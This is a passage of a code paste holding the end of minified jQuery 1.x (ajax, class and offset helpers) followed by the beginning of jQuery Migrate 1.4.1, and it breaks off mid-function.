b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),n.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){n.propFix[this.toLowerCase()]=this}),l.enctype||(n.propFix.enctype="encoding");var Bb=/[\t\r\n\f]/g;function Cb(a){return n.attr(a,"class")||""}n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,Cb(this)))});if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,Cb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):n.isFunction(a)?this.each(function(c){n(this).toggleClass(a.call(this,c,Cb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=n(this),f=a.match(G)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=Cb(this),b&&n._data(this,"__className__",b),n.attr(this,"class",b||a===!1?"":n._data(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+Cb(c)+" ").replace(Bb," ").indexOf(b)>-1)return!0;return!1}}),n.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Db=a.location,Eb=n.now(),Fb=/\?/,Gb=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;n.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=n.trim(b+"");return e&&!n.trim(e.replace(Gb,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():n.error("Invalid JSON: "+b)},n.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new a.DOMParser,c=d.parseFromString(b,"text/xml")):(c=new a.ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||n.error("Invalid XML: "+b),c};var Hb=/#.*$/,Ib=/([?&])_=[^&]*/,Jb=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Kb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Lb=/^(?:GET|HEAD)$/,Mb=/^\/\//,Nb=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Ob={},Pb={},Qb="*/".concat("*"),Rb=Db.href,Sb=Nb.exec(Rb.toLowerCase())||[];function Tb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(G)||[];if(n.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Ub(a,b,c,d){var e={},f=a===Pb;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Vb(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&n.extend(!0,a,c),a}function Wb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Xb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Rb,type:"GET",isLocal:Kb.test(Sb[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Qb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":n.parseJSON,"text xml":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Vb(Vb(a,n.ajaxSettings),b):Vb(n.ajaxSettings,a)},ajaxPrefilter:Tb(Ob),ajaxTransport:Tb(Pb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var d,e,f,g,h,i,j,k,l=n.ajaxSetup({},c),m=l.context||l,o=l.context&&(m.nodeType||m.jquery)?n(m):n.event,p=n.Deferred(),q=n.Callbacks("once memory"),r=l.statusCode||{},s={},t={},u=0,v="canceled",w={readyState:0,getResponseHeader:function(a){var b;if(2===u){if(!k){k={};while(b=Jb.exec(g))k[b[1].toLowerCase()]=b[2]}b=k[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===u?g:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return u||(a=t[c]=t[c]||a,s[a]=b),this},overrideMimeType:function(a){return u||(l.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>u)for(b in a)r[b]=[r[b],a[b]];else w.always(a[w.status]);return this},abort:function(a){var b=a||v;return j&&j.abort(b),y(0,b),this}};if(p.promise(w).complete=q.add,w.success=w.done,w.error=w.fail,l.url=((b||l.url||Rb)+"").replace(Hb,"").replace(Mb,Sb[1]+"//"),l.type=c.method||c.type||l.method||l.type,l.dataTypes=n.trim(l.dataType||"*").toLowerCase().match(G)||[""],null==l.crossDomain&&(d=Nb.exec(l.url.toLowerCase()),l.crossDomain=!(!d||d[1]===Sb[1]&&d[2]===Sb[2]&&(d[3]||("http:"===d[1]?"80":"443"))===(Sb[3]||("http:"===Sb[1]?"80":"443")))),l.data&&l.processData&&"string"!=typeof l.data&&(l.data=n.param(l.data,l.traditional)),Ub(Ob,l,c,w),2===u)return w;i=n.event&&l.global,i&&0===n.active++&&n.event.trigger("ajaxStart"),l.type=l.type.toUpperCase(),l.hasContent=!Lb.test(l.type),f=l.url,l.hasContent||(l.data&&(f=l.url+=(Fb.test(f)?"&":"?")+l.data,delete l.data),l.cache===!1&&(l.url=Ib.test(f)?f.replace(Ib,"$1_="+Eb++):f+(Fb.test(f)?"&":"?")+"_="+Eb++)),l.ifModified&&(n.lastModified[f]&&w.setRequestHeader("If-Modified-Since",n.lastModified[f]),n.etag[f]&&w.setRequestHeader("If-None-Match",n.etag[f])),(l.data&&l.hasContent&&l.contentType!==!1||c.contentType)&&w.setRequestHeader("Content-Type",l.contentType),w.setRequestHeader("Accept",l.dataTypes[0]&&l.accepts[l.dataTypes[0]]?l.accepts[l.dataTypes[0]]+("*"!==l.dataTypes[0]?", "+Qb+"; q=0.01":""):l.accepts["*"]);for(e in l.headers)w.setRequestHeader(e,l.headers[e]);if(l.beforeSend&&(l.beforeSend.call(m,w,l)===!1||2===u))return w.abort();v="abort";for(e in{success:1,error:1,complete:1})w[e](l[e]);if(j=Ub(Pb,l,c,w)){if(w.readyState=1,i&&o.trigger("ajaxSend",[w,l]),2===u)return w;l.async&&l.timeout>0&&(h=a.setTimeout(function(){w.abort("timeout")},l.timeout));try{u=1,j.send(s,y)}catch(x){if(!(2>u))throw x;y(-1,x)}}else y(-1,"No Transport");function y(b,c,d,e){var k,s,t,v,x,y=c;2!==u&&(u=2,h&&a.clearTimeout(h),j=void 0,g=e||"",w.readyState=b>0?4:0,k=b>=200&&300>b||304===b,d&&(v=Wb(l,w,d)),v=Xb(l,v,w,k),k?(l.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(n.lastModified[f]=x),x=w.getResponseHeader("etag"),x&&(n.etag[f]=x)),204===b||"HEAD"===l.type?y="nocontent":304===b?y="notmodified":(y=v.state,s=v.data,t=v.error,k=!t)):(t=y,!b&&y||(y="error",0>b&&(b=0))),w.status=b,w.statusText=(c||y)+"",k?p.resolveWith(m,[s,y,w]):p.rejectWith(m,[w,y,t]),w.statusCode(r),r=void 0,i&&o.trigger(k?"ajaxSuccess":"ajaxError",[w,l,k?s:t]),q.fireWith(m,[w,y]),i&&(o.trigger("ajaxComplete",[w,l]),--n.active||n.event.trigger("ajaxStop")))}return w},getJSON:function(a,b,c){return n.get(a,b,c,"json")},getScript:function(a,b){return n.get(a,void 0,b,"script")}}),n.each(["get","post"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax(n.extend({url:a,type:b,dataType:e,data:c,success:d},n.isPlainObject(a)&&a))}}),n._evalUrl=function(a){return n.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},n.fn.extend({wrapAll:function(a){if(n.isFunction(a))return this.each(function(b){n(this).wrapAll(a.call(this,b))});if(this[0]){var b=n(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return n.isFunction(a)?this.each(function(b){n(this).wrapInner(a.call(this,b))}):this.each(function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,"body")||n(this).replaceWith(this.childNodes)}).end()}});function Yb(a){return a.style&&a.style.display||n.css(a,"display")}function Zb(a){if(!n.contains(a.ownerDocument||d,a))return!0;while(a&&1===a.nodeType){if("none"===Yb(a)||"hidden"===a.type)return!0;a=a.parentNode}return!1}n.expr.filters.hidden=function(a){return l.reliableHiddenOffsets()?a.offsetWidth<=0&&a.offsetHeight<=0&&!a.getClientRects().length:Zb(a)},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var $b=/%20/g,_b=/\[\]$/,ac=/\r?\n/g,bc=/^(?:submit|button|image|reset|file)$/i,cc=/^(?:input|select|textarea|keygen)/i;function dc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||_b.test(a)?d(a,e):dc(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==n.type(b))d(a,b);else for(e in b)dc(a+"["+e+"]",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)dc(c,a[c],b,e);return d.join("&").replace($b,"+")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,"elements");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(":disabled")&&cc.test(this.nodeName)&&!bc.test(a)&&(this.checked||!Z.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(ac,"\r\n")}}):{name:b.name,value:c.replace(ac,"\r\n")}}).get()}}),n.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return this.isLocal?ic():d.documentMode>8?hc():/^(get|post|head|put|delete|options)$/i.test(this.type)&&hc()||ic()}:hc;var ec=0,fc={},gc=n.ajaxSettings.xhr();a.attachEvent&&a.attachEvent("onunload",function(){for(var a in fc)fc[a](void 0,!0)}),l.cors=!!gc&&"withCredentials"in gc,gc=l.ajax=!!gc,gc&&n.ajaxTransport(function(b){if(!b.crossDomain||l.cors){var c;return{send:function(d,e){var f,g=b.xhr(),h=++ec;if(g.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(f in b.xhrFields)g[f]=b.xhrFields[f];b.mimeType&&g.overrideMimeType&&g.overrideMimeType(b.mimeType),b.crossDomain||d["X-Requested-With"]||(d["X-Requested-With"]="XMLHttpRequest");for(f in d)void 0!==d[f]&&g.setRequestHeader(f,d[f]+"");g.send(b.hasContent&&b.data||null),c=function(a,d){var f,i,j;if(c&&(d||4===g.readyState))if(delete fc[h],c=void 0,g.onreadystatechange=n.noop,d)4!==g.readyState&&g.abort();else{j={},f=g.status,"string"==typeof g.responseText&&(j.text=g.responseText);try{i=g.statusText}catch(k){i=""}f||!b.isLocal||b.crossDomain?1223===f&&(f=204):f=j.text?200:404}j&&e(f,i,j,g.getAllResponseHeaders())},b.async?4===g.readyState?a.setTimeout(c):g.onreadystatechange=fc[h]=c:c()},abort:function(){c&&c(void 0,!0)}}}});function hc(){try{return new a.XMLHttpRequest}catch(b){}}function ic(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}n.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),n.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=d.head||n("head")[0]||d.documentElement;return{send:function(e,f){b=d.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||f(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var jc=[],kc=/(=)\?(?=&|$)|\?\?/;n.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=jc.pop()||n.expando+"_"+Eb++;return this[a]=!0,a}}),n.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(kc.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&kc.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(kc,"$1"+e):b.jsonp!==!1&&(b.url+=(Fb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||n.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?n(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,jc.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),n.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||d;var e=x.exec(a),f=!c&&[];return e?[b.createElement(e[1])]:(e=ja([a],b,f),f&&f.length&&n(f).remove(),n.merge([],e.childNodes))};var lc=n.fn.load;n.fn.load=function(a,b,c){if("string"!=typeof a&&lc)return lc.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=n.trim(a.slice(h,a.length)),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&n.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?n("<div>").append(n.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},n.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};function mc(a){return n.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,"position"),l=n(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=n.css(a,"top"),i=n.css(a,"left"),j=("absolute"===k||"fixed"===k)&&n.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,n.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?("undefined"!=typeof e.getBoundingClientRect&&(d=e.getBoundingClientRect()),c=mc(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===n.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],"html")||(c=a.offset()),c.top+=n.css(a[0],"borderTopWidth",!0),c.left+=n.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-n.css(d,"marginTop",!0),left:b.left-c.left-n.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&!n.nodeName(a,"html")&&"static"===n.css(a,"position"))a=a.offsetParent;return a||Qa})}}),n.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return Y(this,function(a,d,e){var f=mc(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),n.each(["top","left"],function(a,b){n.cssHooks[b]=Ua(l.pixelPosition,function(a,c){return c?(c=Sa(a,b),Oa.test(c)?n(a).position()[b]+"px":c):void 0})}),n.each({Height:"height",Width:"width"},function(a,b){n.each({
  5. padding:"inner"+a,content:b,"":"outer"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return Y(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return n});var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});
  6.  
  7.  
  8. /*!
  9.  * jQuery Migrate - v1.4.1 - 2016-05-19
  10.  * Copyright jQuery Foundation and other contributors
  11.  */
  12. (function( jQuery, window, undefined ) {
  13. // See http://bugs.jquery.com/ticket/13335
  14. // "use strict";
  15.  
  16.  
  17. jQuery.migrateVersion = "1.4.1";
  18.  
  19.  
  20. var warnedAbout = {};
  21.  
  22. // List of warnings already given; public read only
  23. jQuery.migrateWarnings = [];
  24.  
  25. // Set to true to prevent console output; migrateWarnings still maintained
  26. jQuery.migrateMute = true;
  27.  
  28. // Show a message on the console so devs know we're active
  29.         if (window.console && window.console.log && !jQuery.migrateMute) {
  30.         window.console.log( "JQMIGRATE: Migrate is installed" +
  31.                 ( jQuery.migrateMute ? "" : " with logging active" ) +
  32.                 ", version " + jQuery.migrateVersion );
  33. }
  34.  
  35. // Set to false to disable traces that appear with warnings
  36. if ( jQuery.migrateTrace === undefined ) {
  37.         jQuery.migrateTrace = false;
  38. }
  39.  
  40. // Forget any warnings we've already given; public
  41. jQuery.migrateReset = function() {
  42.         warnedAbout = {};
  43.         jQuery.migrateWarnings.length = 0;
  44. };
  45.  
  46. function migrateWarn( msg) {
  47.         var console = window.console;
  48.         if ( !warnedAbout[ msg ] ) {
  49.                 warnedAbout[ msg ] = true;
  50.                 jQuery.migrateWarnings.push( msg );
  51.                 if ( console && console.warn && !jQuery.migrateMute ) {
  52.                         console.warn( "JQMIGRATE: " + msg );
  53.                         if ( jQuery.migrateTrace && console.trace ) {
  54.                                 console.trace();
  55.                         }
  56.                 }
  57.         }
  58. }
  59.  
  60. function migrateWarnProp( obj, prop, value, msg ) {
  61.         if ( Object.defineProperty ) {
  62.                 // On ES5 browsers (non-oldIE), warn if the code tries to get prop;
  63.                 // allow property to be overwritten in case some other plugin wants it
  64.                 try {
  65.                         Object.defineProperty( obj, prop, {
  66.                                 configurable: true,
  67.                                 enumerable: true,
  68.                                 get: function() {
  69.                                         migrateWarn( msg );
  70.                                         return value;
  71.                                 },
  72.                                 set: function( newValue ) {
  73.                                         migrateWarn( msg );
  74.                                         value = newValue;
  75.                                 }
  76.                         });
  77.                         return;
  78.                 } catch( err ) {
  79.                         // IE8 is a dope about Object.defineProperty, can't warn there
  80.                 }
  81.         }
  82.  
  83.         // Non-ES5 (or broken) browser; just set the property
  84.         jQuery._definePropertyBroken = true;
  85.         obj[ prop ] = value;
  86. }
  87.  
  88. if ( document.compatMode === "BackCompat" ) {
  89.         // jQuery has never supported or tested Quirks Mode
  90.         migrateWarn( "jQuery is not compatible with Quirks Mode" );
  91. }
  92.  
  93.  
  94. var attrFn = jQuery( "<input/>", { size: 1 } ).attr("size") && jQuery.attrFn,
  95.         oldAttr = jQuery.attr,
  96.         valueAttrGet = jQuery.attrHooks.value && jQuery.attrHooks.value.get ||
  97.                 function() { return null; },
  98.         valueAttrSet = jQuery.attrHooks.value && jQuery.attrHooks.value.set ||
  99.                 function() { return undefined; },
  100.         rnoType = /^(?:input|button)$/i,
  101.         rnoAttrNodeType = /^[238]$/,
  102.         rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
  103.         ruseDefault = /^(?:checked|selected)$/i;
  104.  
  105. // jQuery.attrFn
  106. migrateWarnProp( jQuery, "attrFn", attrFn || {}, "jQuery.attrFn is deprecated" );
  107.  
  108. jQuery.attr = function( elem, name, value, pass ) {
  109.         var lowerName = name.toLowerCase(),
  110.                 nType = elem && elem.nodeType;
  111.  
  112.         if ( pass ) {
  113.                 // Since pass is used internally, we only warn for new jQuery
  114.                 // versions where there isn't a pass arg in the formal params
  115.                 if ( oldAttr.length < 4 ) {
  116.                         migrateWarn("jQuery.fn.attr( props, pass ) is deprecated");
  117.                 }
  118.                 if ( elem && !rnoAttrNodeType.test( nType ) &&
  119.                         (attrFn ? name in attrFn : jQuery.isFunction(jQuery.fn[name])) ) {
  120.                         return jQuery( elem )[ name ]( value );
  121.                 }
  122.         }
  123.  
  124.         // Warn if user tries to set `type`, since it breaks on IE 6/7/8; by checking
  125.         // for disconnected elements we don't warn on $( "<button>", { type: "button" } ).
  126.         if ( name === "type" && value !== undefined && rnoType.test( elem.nodeName ) && elem.parentNode ) {
  127.                 migrateWarn("Can't change the 'type' of an input or button in IE 6/7/8");
  128.         }
  129.  
  130.         // Restore boolHook for boolean property/attribute synchronization
  131.         if ( !jQuery.attrHooks[ lowerName ] && rboolean.test( lowerName ) ) {
  132.                 jQuery.attrHooks[ lowerName ] = {
  133.                         get: function( elem, name ) {
  134.                                 // Align boolean attributes with corresponding properties
  135.                                 // Fall back to attribute presence where some booleans are not supported
  136.                                 var attrNode,
  137.                                         property = jQuery.prop( elem, name );
  138.                                 return property === true || typeof property !== "boolean" &&
  139.                                         ( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ?
  140.  
  141.                                         name.toLowerCase() :
  142.                                         undefined;
  143.                         },
  144.                         set: function( elem, value, name ) {
  145.                                 var propName;
  146.                                 if ( value === false ) {
  147.                                         // Remove boolean attributes when set to false
  148.                                         jQuery.removeAttr( elem, name );
  149.                                 } else {
  150.                                         // value is true since we know at this point it's type boolean and not false
  151.                                         // Set boolean attributes to the same name and set the DOM property
  152.                                         propName = jQuery.propFix[ name ] || name;
  153.                                         if ( propName in elem ) {
  154.                                                 // Only set the IDL specifically if it already exists on the element
  155.                                                 elem[ propName ] = true;
  156.                                         }
  157.  
  158.                                         elem.setAttribute( name, name.toLowerCase() );
  159.                                 }
  160.                                 return name;
  161.                         }
  162.                 };
  163.  
  164.                 // Warn only for attributes that can remain distinct from their properties post-1.9
  165.                 if ( ruseDefault.test( lowerName ) ) {
  166.                         migrateWarn( "jQuery.fn.attr('" + lowerName + "') might use property instead of attribute" );
  167.                 }
  168.         }
  169.  
  170.         return oldAttr.call( jQuery, elem, name, value );
  171. };
  172.  
  173. // attrHooks: value
  174. jQuery.attrHooks.value = {
  175.         get: function( elem, name ) {
  176.                 var nodeName = ( elem.nodeName || "" ).toLowerCase();
  177.                 if ( nodeName === "button" ) {
  178.                         return valueAttrGet.apply( this, arguments );
  179.                 }
  180.                 if ( nodeName !== "input" && nodeName !== "option" ) {
  181.                         migrateWarn("jQuery.fn.attr('value') no longer gets properties");
  182.                 }
  183.                 return name in elem ?
  184.                         elem.value :
  185.                         null;
  186.         },
  187.         set: function( elem, value ) {
  188.                 var nodeName = ( elem.nodeName || "" ).toLowerCase();
  189.                 if ( nodeName === "button" ) {
  190.                         return valueAttrSet.apply( this, arguments );
  191.                 }
  192.                 if ( nodeName !== "input" && nodeName !== "option" ) {
  193.                         migrateWarn("jQuery.fn.attr('value', val) no longer sets properties");
  194.                 }
  195.                 // Does not return so that setAttribute is also used
  196.                 elem.value = value;
  197.         }
  198. };
  199.  
  200.  
  201. var matched, browser,
  202.         oldInit = jQuery.fn.init,
  203.         oldFind = jQuery.find,
  204.         oldParseJSON = jQuery.parseJSON,
  205.         rspaceAngle = /^\s*</,
  206.         rattrHashTest = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,
  207.         rattrHashGlob = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,
  208.         // Note: XSS check is done below after string is trimmed
  209.         rquickExpr = /^([^<]*)(<[\w\W]+>)([^>]*)$/;
  210.  
  211. // $(html) "looks like html" rule change
  212. jQuery.fn.init = function( selector, context, rootjQuery ) {
  213.         var match, ret;
  214.  
  215.         if ( selector && typeof selector === "string" ) {
  216.                 if ( !jQuery.isPlainObject( context ) &&
  217.                                 (match = rquickExpr.exec( jQuery.trim( selector ) )) && match[ 0 ] ) {
  218.  
  219.                         // This is an HTML string according to the "old" rules; is it still?
  220.                         if ( !rspaceAngle.test( selector ) ) {
  221.                                 migrateWarn("$(html) HTML strings must start with '<' character");
  222.                         }
  223.                         if ( match[ 3 ] ) {
  224.                                 migrateWarn("$(html) HTML text after last tag is ignored");
  225.                         }
  226.  
  227.                         // Consistently reject any HTML-like string starting with a hash (gh-9521)
  228.                         // Note that this may break jQuery 1.6.x code that otherwise would work.
  229.                         if ( match[ 0 ].charAt( 0 ) === "#" ) {
  230.                                 migrateWarn("HTML string cannot start with a '#' character");
